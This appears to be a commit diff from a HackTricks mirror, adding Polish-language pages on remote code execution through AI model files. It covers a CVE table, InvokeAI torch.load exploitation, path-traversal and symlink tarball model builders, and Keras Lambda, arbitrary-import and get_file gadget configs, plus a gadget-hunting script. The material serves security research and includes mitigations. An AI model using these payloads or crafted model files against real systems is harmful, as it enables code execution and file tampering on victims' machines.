mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Models-RCE.md', 'src/generic-methodologies-and-re
This commit is contained in:
parent
d9d90b185d
commit
13af2d423c
@ -10,24 +10,24 @@ W momencie pisania, oto kilka przykładów tego typu luk:
|
||||
|
||||
| **Framework / Narzędzie** | **Luka (CVE, jeśli dostępne)** | **Wektor RCE** | **Odnośniki** |
|
||||
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
|
||||
| **PyTorch** (Python) | *Niebezpieczna deserializacja w* `torch.load` **(CVE-2025-32434)** | Złośliwy pickle w punkcie kontrolnym modelu prowadzi do wykonania kodu (obejście zabezpieczenia `weights_only`) | |
|
||||
| **PyTorch** (Python) | *Niebezpieczna deserializacja w* `torch.load` **(CVE-2025-32434)** | Złośliwy pickle w punkcie kontrolnym modelu prowadzi do wykonania kodu (obejście zabezpieczenia `weights_only`) | |
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + złośliwe pobieranie modelu powoduje wykonanie kodu; deserializacja RCE w API zarządzania | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (niebezpieczny YAML) <br> **CVE-2024-3660** (Keras Lambda) | Ładowanie modelu z YAML używa `yaml.unsafe_load` (wykonanie kodu) <br> Ładowanie modelu z warstwą **Lambda** uruchamia dowolny kod Pythona | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (parsing TFLite) | Opracowany model `.tflite` wywołuje przepełnienie całkowite → uszkodzenie sterty (potencjalne RCE) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Ładowanie modelu za pomocą `joblib.load` wykonuje pickle z ładunkiem `__reduce__` atakującego | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (niebezpieczne `np.load`) *kwestionowane* | Domyślnie `numpy.load` pozwalało na ładowanie zserializowanych tablic obiektów – złośliwe `.npy/.npz` wywołuje wykonanie kodu | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (niebezpieczne `np.load`) *kwestionowane* | Domyślnie `numpy.load` pozwalało na ładowanie obiektów tablicowych w formacie pickle – złośliwe `.npy/.npz` wywołuje wykonanie kodu | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (przechodzenie katalogów) <br> **CVE-2024-5187** (przechodzenie tar) | Ścieżka zewnętrznych wag modelu ONNX może uciec z katalogu (odczyt dowolnych plików) <br> Złośliwy model ONNX tar może nadpisać dowolne pliki (prowadząc do RCE) | |
|
||||
| ONNX Runtime (ryzyko projektowe) | *(Brak CVE)* Niestandardowe operacje ONNX / przepływ sterowania | Model z niestandardowym operatorem wymaga załadowania natywnego kodu atakującego; złożone grafy modelu nadużywają logiki do wykonania niezamierzonych obliczeń | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (przechodzenie ścieżki) | Użycie API ładowania modelu z włączonym `--model-control` pozwala na przechodzenie ścieżki względnej do zapisywania plików (np. nadpisanie `.bashrc` dla RCE) | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (przechodzenie ścieżek) | Użycie API ładowania modelu z włączonym `--model-control` pozwala na przechodzenie ścieżek względnych do zapisywania plików (np. nadpisanie `.bashrc` dla RCE) | |
|
||||
| **GGML (format GGUF)** | **CVE-2024-25664 … 25668** (wiele przepełnień sterty) | Źle sformatowany plik modelu GGUF powoduje przepełnienia bufora sterty w parserze, umożliwiając wykonanie dowolnego kodu na systemie ofiary | |
|
||||
| **Keras (starsze formaty)** | *(Brak nowego CVE)* Model Keras H5 w wersji legacy | Złośliwy model HDF5 (`.h5`) z kodem warstwy Lambda nadal wykonuje się podczas ładowania (tryb bezpieczeństwa Keras nie obejmuje starego formatu – „atak degradacyjny”) | |
|
||||
| **Inne** (ogólnie) | *Wada projektowa* – Serializacja Pickle | Wiele narzędzi ML (np. formaty modeli oparte na pickle, Python `pickle.load`) wykona dowolny kod osadzony w plikach modeli, chyba że zostanie to złagodzone | |
|
||||
|
||||
Ponadto istnieją modele oparte na python pickle, takie jak te używane przez [PyTorch](https://github.com/pytorch/pytorch/security), które mogą być użyte do wykonania dowolnego kodu w systemie, jeśli nie są ładowane z `weights_only=True`. Tak więc, każdy model oparty na pickle może być szczególnie podatny na tego typu ataki, nawet jeśli nie są wymienione w powyższej tabeli.
|
||||
Ponadto istnieją modele oparte na pickle w Pythonie, takie jak te używane przez [PyTorch](https://github.com/pytorch/pytorch/security), które mogą być użyte do wykonania dowolnego kodu w systemie, jeśli nie są ładowane z `weights_only=True`. Tak więc, każdy model oparty na pickle może być szczególnie podatny na tego typu ataki, nawet jeśli nie są wymienione w powyższej tabeli.
|
||||
|
||||
### 🆕 InvokeAI RCE przez `torch.load` (CVE-2024-12029)
|
||||
|
||||
`InvokeAI` to popularny interfejs webowy open-source dla Stable-Diffusion. Wersje **5.3.1 – 5.4.2** udostępniają punkt końcowy REST `/api/v2/models/install`, który pozwala użytkownikom pobierać i ładować modele z dowolnych adresów URL.
|
||||
`InvokeAI` to popularny interfejs webowy typu open-source dla Stable-Diffusion. Wersje **5.3.1 – 5.4.2** udostępniają punkt końcowy REST `/api/v2/models/install`, który pozwala użytkownikom pobierać i ładować modele z dowolnych adresów URL.
|
||||
|
||||
Wewnątrz punkt końcowy ostatecznie wywołuje:
|
||||
```python
|
||||
@ -67,19 +67,19 @@ json={}, # body can be empty
|
||||
timeout=5,
|
||||
)
|
||||
```
|
||||
4. Gdy InvokeAI pobiera plik, wywołuje `torch.load()` → uruchamia się gadżet `os.system`, a atakujący uzyskuje wykonanie kodu w kontekście procesu InvokeAI.
|
||||
4. Kiedy InvokeAI pobiera plik, wywołuje `torch.load()` → uruchamia się gadżet `os.system`, a atakujący zyskuje wykonanie kodu w kontekście procesu InvokeAI.
|
||||
|
||||
Gotowy exploit: **Metasploit** moduł `exploit/linux/http/invokeai_rce_cve_2024_12029` automatyzuje cały proces.
|
||||
|
||||
#### Warunki
|
||||
|
||||
• InvokeAI 5.3.1-5.4.2 (domyślna flaga skanowania **false**)
|
||||
• InvokeAI 5.3.1-5.4.2 (flaga skanowania domyślnie **false**)
|
||||
• `/api/v2/models/install` dostępne dla atakującego
|
||||
• Proces ma uprawnienia do wykonywania poleceń powłoki
|
||||
|
||||
#### Łagodzenia
|
||||
|
||||
* Uaktualnij do **InvokeAI ≥ 5.4.3** – poprawka ustawia `scan=True` domyślnie i przeprowadza skanowanie złośliwego oprogramowania przed deserializacją.
|
||||
* Uaktualnij do **InvokeAI ≥ 5.4.3** – łatka ustawia `scan=True` domyślnie i przeprowadza skanowanie złośliwego oprogramowania przed deserializacją.
|
||||
* Podczas programowego ładowania punktów kontrolnych używaj `torch.load(file, weights_only=True)` lub nowego [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) pomocnika.
|
||||
* Wymuszaj listy dozwolone / podpisy dla źródeł modeli i uruchamiaj usługę z minimalnymi uprawnieniami.
|
||||
|
||||
@ -133,7 +133,7 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
|
||||
```
|
||||
## Modele do przejścia ścieżki
|
||||
|
||||
Jak wspomniano w [**tym wpisie na blogu**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), większość formatów modeli używanych przez różne frameworki AI opiera się na archiwach, zazwyczaj `.zip`. Dlatego może być możliwe nadużycie tych formatów do przeprowadzania ataków typu path traversal, co pozwala na odczyt dowolnych plików z systemu, w którym model jest załadowany.
|
||||
Jak wspomniano w [**tym poście na blogu**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), większość formatów modeli używanych przez różne frameworki AI opiera się na archiwach, zazwyczaj `.zip`. Dlatego może być możliwe nadużycie tych formatów do przeprowadzania ataków typu path traversal, co pozwala na odczyt dowolnych plików z systemu, w którym model jest załadowany.
|
||||
|
||||
Na przykład, za pomocą poniższego kodu możesz stworzyć model, który utworzy plik w katalogu `/tmp` po załadowaniu:
|
||||
```python
|
||||
@ -161,7 +161,15 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
|
||||
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
|
||||
tf.add(PAYLOAD) # rides the symlink
|
||||
```
|
||||
## Odniesienia
|
||||
### Deep-dive: Keras .keras deserialization and gadget hunting
|
||||
|
||||
Aby uzyskać szczegółowy przewodnik po wewnętrznych mechanizmach .keras, RCE warstwy Lambda, problemie z dowolnym importem w ≤ 3.8 oraz odkrywaniu gadżetów po poprawce w liście dozwolonej, zobacz:
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/)
|
||||
- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||
|
@ -69,6 +69,7 @@
|
||||
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
|
||||
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
|
||||
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
|
||||
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
|
||||
- [Pyscript](generic-methodologies-and-resources/python/pyscript.md)
|
||||
- [venv](generic-methodologies-and-resources/python/venv.md)
|
||||
|
@ -6,6 +6,7 @@
|
||||
|
||||
- [**Sztuczki hackingowe Pyscript**](pyscript.md)
|
||||
- [**Deserializacje Pythona**](../../pentesting-web/deserialization/README.md)
|
||||
- [**Deserializacja modelu Keras RCE i polowanie na gadżety**](keras-model-deserialization-rce-and-gadget-hunting.md)
|
||||
- [**Sztuczki do omijania piaskownic Pythona**](bypass-python-sandboxes/README.md)
|
||||
- [**Podstawowa składnia żądań webowych w Pythonie**](web-requests.md)
|
||||
- [**Podstawowa składnia Pythona i biblioteki**](basic-python.md)
|
||||
|
@ -0,0 +1,207 @@
|
||||
# Keras Model Deserialization RCE and Gadget Hunting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Ta strona podsumowuje praktyczne techniki eksploatacji przeciwko potokowi deserializacji modelu Keras, wyjaśnia wewnętrzne działanie formatu .keras oraz powierzchnię ataku, a także dostarcza narzędzi badawczych do znajdowania Wrażliwości Plików Modelu (MFV) i gadżetów po naprawie.
|
||||
|
||||
## Wewnętrzne działanie formatu modelu .keras
|
||||
|
||||
Plik .keras to archiwum ZIP zawierające przynajmniej:
|
||||
- metadata.json – ogólne informacje (np. wersja Keras)
|
||||
- config.json – architektura modelu (główna powierzchnia ataku)
|
||||
- model.weights.h5 – wagi w HDF5
|
||||
|
||||
Plik config.json napędza rekurencyjną deserializację: Keras importuje moduły, rozwiązuje klasy/funkcje i rekonstruuje warstwy/obiekty z kontrolowanych przez atakującego słowników.
|
||||
|
||||
Przykładowy fragment dla obiektu warstwy Dense:
|
||||
```json
|
||||
{
|
||||
"module": "keras.layers",
|
||||
"class_name": "Dense",
|
||||
"config": {
|
||||
"units": 64,
|
||||
"activation": {
|
||||
"module": "keras.activations",
|
||||
"class_name": "relu"
|
||||
},
|
||||
"kernel_initializer": {
|
||||
"module": "keras.initializers",
|
||||
"class_name": "GlorotUniform"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Deserializacja wykonuje:
|
||||
- Import modułów i rozwiązywanie symboli z kluczy module/class_name
|
||||
- wywołanie from_config(...) lub konstruktora z kontrolowanymi przez atakującego kwargs
|
||||
- Rekursję w zagnieżdżonych obiektach (aktywacje, inicjalizatory, ograniczenia itp.)
|
||||
|
||||
Historycznie, to ujawniało trzy prymitywy atakującemu tworzącemu config.json:
|
||||
- Kontrola nad tym, jakie moduły są importowane
|
||||
- Kontrola nad tym, które klasy/funkcje są rozwiązywane
|
||||
- Kontrola nad kwargs przekazywanymi do konstruktorów/from_config
|
||||
|
||||
## CVE-2024-3660 – RCE z bajtkodem warstwy Lambda
|
||||
|
||||
Przyczyna:
|
||||
- Lambda.from_config() używało python_utils.func_load(...), które dekoduje base64 i wywołuje marshal.loads() na bajtach atakującego; deserializacja w Pythonie może wykonać kod.
|
||||
|
||||
Pomysł na exploit (uproszczony ładunek w config.json):
|
||||
```json
|
||||
{
|
||||
"module": "keras.layers",
|
||||
"class_name": "Lambda",
|
||||
"config": {
|
||||
"name": "exploit_lambda",
|
||||
"function": {
|
||||
"function_type": "lambda",
|
||||
"bytecode_b64": "<attacker_base64_marshal_payload>"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Mitigacja:
|
||||
- Keras domyślnie wymusza safe_mode=True. Zserializowane funkcje Pythona w Lambda są zablokowane, chyba że użytkownik wyraźnie zdecyduje się na safe_mode=False.
|
||||
|
||||
Uwagi:
|
||||
- Starsze formaty (starsze zapisy HDF5) lub starsze bazy kodu mogą nie wymuszać nowoczesnych kontroli, więc ataki w stylu „downgrade” mogą nadal mieć zastosowanie, gdy ofiary używają starszych loaderów.
|
||||
|
||||
## CVE-2025-1550 – Dowolny import modułu w Keras ≤ 3.8
|
||||
|
||||
Przyczyna:
|
||||
- _retrieve_class_or_fn używał nieograniczonego importlib.import_module() z ciągami modułów kontrolowanymi przez atakującego z config.json.
|
||||
- Wpływ: Dowolny import dowolnego zainstalowanego modułu (lub modułu umieszczonego przez atakującego na sys.path). Kod uruchamia się w czasie importu, a następnie następuje konstrukcja obiektu z kwargs atakującego.
|
||||
|
||||
Pomysł na exploit:
|
||||
```json
|
||||
{
|
||||
"module": "maliciouspkg",
|
||||
"class_name": "Danger",
|
||||
"config": {"arg": "val"}
|
||||
}
|
||||
```
|
||||
Poprawki bezpieczeństwa (Keras ≥ 3.9):
|
||||
- Lista dozwolonych modułów: importy ograniczone do oficjalnych modułów ekosystemu: keras, keras_hub, keras_cv, keras_nlp
|
||||
- Domyślny tryb bezpieczny: safe_mode=True blokuje ładowanie niebezpiecznych funkcji zserializowanych Lambda
|
||||
- Podstawowe sprawdzanie typów: zdeserializowane obiekty muszą odpowiadać oczekiwanym typom
|
||||
|
||||
## Powierzchnia gadżetów po poprawce wewnątrz listy dozwolonych
|
||||
|
||||
Nawet z listą dozwolonych i trybem bezpiecznym, pozostaje szeroka powierzchnia wśród dozwolonych wywołań Keras. Na przykład, keras.utils.get_file może pobierać dowolne adresy URL do lokalizacji wybranych przez użytkownika.
|
||||
|
||||
Gadżet przez Lambda, który odnosi się do dozwolonej funkcji (nie zserializowany bajtkod Pythona):
|
||||
```json
|
||||
{
|
||||
"module": "keras.layers",
|
||||
"class_name": "Lambda",
|
||||
"config": {
|
||||
"name": "dl",
|
||||
"function": {"module": "keras.utils", "class_name": "get_file"},
|
||||
"arguments": {
|
||||
"fname": "artifact.bin",
|
||||
"origin": "https://example.com/artifact.bin",
|
||||
"cache_dir": "/tmp/keras-cache"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Important limitation:
|
||||
- Lambda.call() dodaje tensor wejściowy jako pierwszy argument pozycyjny podczas wywoływania docelowego wywołania. Wybrane gadżety muszą tolerować dodatkowy argument pozycyjny (lub akceptować *args/**kwargs). Ogranicza to, które funkcje są wykonalne.
|
||||
|
||||
Potential impacts of allowlisted gadgets:
|
||||
- Dowolne pobieranie/zapisywanie (sadzenie ścieżek, zanieczyszczanie konfiguracji)
|
||||
- Wywołania sieciowe/efekty podobne do SSRF w zależności od środowiska
|
||||
- Łączenie do wykonania kodu, jeśli zapisane ścieżki są później importowane/wykonywane lub dodawane do PYTHONPATH, lub jeśli istnieje zapisywalna lokalizacja do wykonania przy zapisie
|
||||
|
||||
## Researcher toolkit
|
||||
|
||||
1) Systematyczne odkrywanie gadżetów w dozwolonych modułach
|
||||
|
||||
Enumeruj kandydatów na wywołania w keras, keras_nlp, keras_cv, keras_hub i nadaj priorytet tym z efektami ubocznymi związanymi z plikami/siecią/procesem/środowiskiem.
|
||||
```python
|
||||
import importlib, inspect, pkgutil
|
||||
|
||||
ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"]
|
||||
|
||||
seen = set()
|
||||
|
||||
def iter_modules(mod):
|
||||
if not hasattr(mod, "__path__"):
|
||||
return
|
||||
for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."):
|
||||
yield m.name
|
||||
|
||||
candidates = []
|
||||
for root in ALLOWLIST:
|
||||
try:
|
||||
r = importlib.import_module(root)
|
||||
except Exception:
|
||||
continue
|
||||
for name in iter_modules(r):
|
||||
if name in seen:
|
||||
continue
|
||||
seen.add(name)
|
||||
try:
|
||||
m = importlib.import_module(name)
|
||||
except Exception:
|
||||
continue
|
||||
for n, obj in inspect.getmembers(m):
|
||||
if inspect.isfunction(obj) or inspect.isclass(obj):
|
||||
sig = None
|
||||
try:
|
||||
sig = str(inspect.signature(obj))
|
||||
except Exception:
|
||||
pass
|
||||
doc = (inspect.getdoc(obj) or "").lower()
|
||||
text = f"{name}.{n} {sig} :: {doc}"
|
||||
# Heuristics: look for I/O or network-ish hints
|
||||
if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]):
|
||||
candidates.append(text)
|
||||
|
||||
print("\n".join(sorted(candidates)[:200]))
|
||||
```
|
||||
2) Bezpośrednie testowanie deserializacji (nie jest potrzebny archiwum .keras)
|
||||
|
||||
Wprowadź przygotowane słowniki bezpośrednio do deserializatorów Keras, aby poznać akceptowane parametry i obserwować efekty uboczne.
|
||||
```python
|
||||
from keras import layers
|
||||
|
||||
cfg = {
|
||||
"module": "keras.layers",
|
||||
"class_name": "Lambda",
|
||||
"config": {
|
||||
"name": "probe",
|
||||
"function": {"module": "keras.utils", "class_name": "get_file"},
|
||||
"arguments": {"fname": "x", "origin": "https://example.com/x"}
|
||||
}
|
||||
}
|
||||
|
||||
layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior
|
||||
```
|
||||
3) Probing między wersjami i formaty
|
||||
|
||||
Keras istnieje w wielu bazach kodu/epokach z różnymi zabezpieczeniami i formatami:
|
||||
- Wbudowany Keras w TensorFlow: tensorflow/python/keras (legacy, planowane do usunięcia)
|
||||
- tf-keras: utrzymywany osobno
|
||||
- Multi-backend Keras 3 (oficjalny): wprowadzono natywny .keras
|
||||
|
||||
Powtarzaj testy w różnych bazach kodu i formatach (.keras vs legacy HDF5), aby odkryć regresje lub brakujące zabezpieczenia.
|
||||
|
||||
## Rekomendacje defensywne
|
||||
|
||||
- Traktuj pliki modeli jako niezaufane dane wejściowe. Ładuj modele tylko z zaufanych źródeł.
|
||||
- Utrzymuj Keras w najnowszej wersji; używaj Keras ≥ 3.9, aby skorzystać z list dozwolonych i sprawdzania typów.
|
||||
- Nie ustawiaj safe_mode=False podczas ładowania modeli, chyba że w pełni ufasz plikowi.
|
||||
- Rozważ uruchomienie deserializacji w piaskownicy, w środowisku o minimalnych uprawnieniach, bez dostępu do sieci i z ograniczonym dostępem do systemu plików.
|
||||
- Wprowadź listy dozwolone/podpisy dla źródeł modeli i sprawdzania integralności, gdzie to możliwe.
|
||||
|
||||
## Odniesienia
|
||||
|
||||
- [Hunting Vulnerabilities in Keras Model Deserialization (blog huntr)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization)
|
||||
- [Keras PR #20751 – Dodano kontrole do serializacji](https://github.com/keras-team/keras/pull/20751)
|
||||
- [CVE-2024-3660 – Keras Lambda deserialization RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-3660)
|
||||
- [CVE-2025-1550 – Keras dowolny import modułu (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550)
|
||||
- [raport huntr – dowolny import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e)
|
||||
- [raport huntr – dowolny import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user